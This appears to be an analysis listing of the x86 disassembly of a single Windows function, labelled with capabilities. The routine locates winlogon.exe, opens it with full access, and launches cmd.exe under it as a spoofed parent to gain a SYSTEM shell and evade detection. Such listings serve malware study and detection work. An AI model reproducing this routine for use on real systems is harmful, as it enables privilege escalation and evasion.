Function at 0x401090
Capabilities:
Create process on windows
Create process suspended
Enumerate processes
Spoof parent pid

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x2e8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4010e1
push str._n____Failed_to_create_handle_CreateToolhelp32Snapshot___n_n
call fcn.00401050
add esp, 4
or esi, 0xffffffff
jmp 0x401160
lea eax, [ebp - 0x280]
mov dword [ebp - 0x280], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x40110f
push str._n____Failed_to_call_Process32First___n_n
call fcn.00401050
add esp, 4
or esi, 0xffffffff
jmp 0x401160
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
nop word [eax + eax]
lea eax, [ebp - 0x25c]
push str.winlogon.exe
push eax
call edi
add esp, 8
test eax, eax
je 0x401154
lea eax, [ebp - 0x280]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401120
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
xor esi, esi
jmp 0x401160
mov esi, dword [ebp - 0x278]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x288], eax
test eax, eax
jne 0x4011a0
push str.winlogon.exe
push str._n____Unable_to_open__ws_process_n_n
call fcn.00401010
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b02
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push esi
push str.winlogon.exe
push str._n___Opened__ws_process_pid_d_with_PROCESS_ALL_ACCESS_rights
call fcn.00401010
add esp, 0xc
lea eax, [ebp - 0x2dc]
push 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
lea eax, [ebp - 0x284]
add esp, 0xc
mov dword [ebp - 0x2e0], 0x48
mov dword [ebp - 0x29c], 0
push eax
push 0
push 1
push 0
call esi
push dword [ebp - 0x284]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x29c], eax
push ecx
push 0
push 1
push eax
call esi
push 0
push 0
push 4
lea eax, [ebp - 0x288]
push eax
push 0x20000
push 0
push dword [ebp - 0x29c]
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
movups xmm0, xmmword [str.C:WindowsSystem32cmd.exe]
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x2e0]
push eax
push 0
push 0
movups xmmword [ebp - 0x50], xmm0
push 0x80010
movups xmm0, xmmword [0x40373c]
push 0
push 0
movups xmmword [ebp - 0x40], xmm0
push 0
movups xmm0, xmmword [0x40374c]
lea eax, [ebp - 0x50]
push eax
movups xmmword [ebp - 0x30], xmm0
push 0
movq xmm0, qword [0x40375c]
movq qword [ebp - 0x20], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4012b6
push str.____Failed_to_create_new_process._n
call fcn.00401010
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.________d_n
call fcn.00401010
add esp, 8
jmp 0x4012d3
push str.___New_process_is_created_successfully._n
call fcn.00401010
add esp, 4
push dword [ebp - 0x294]
call edi
push dword [ebp - 0x298]
call edi
push dword [ebp - 0x29c]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00401b02
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret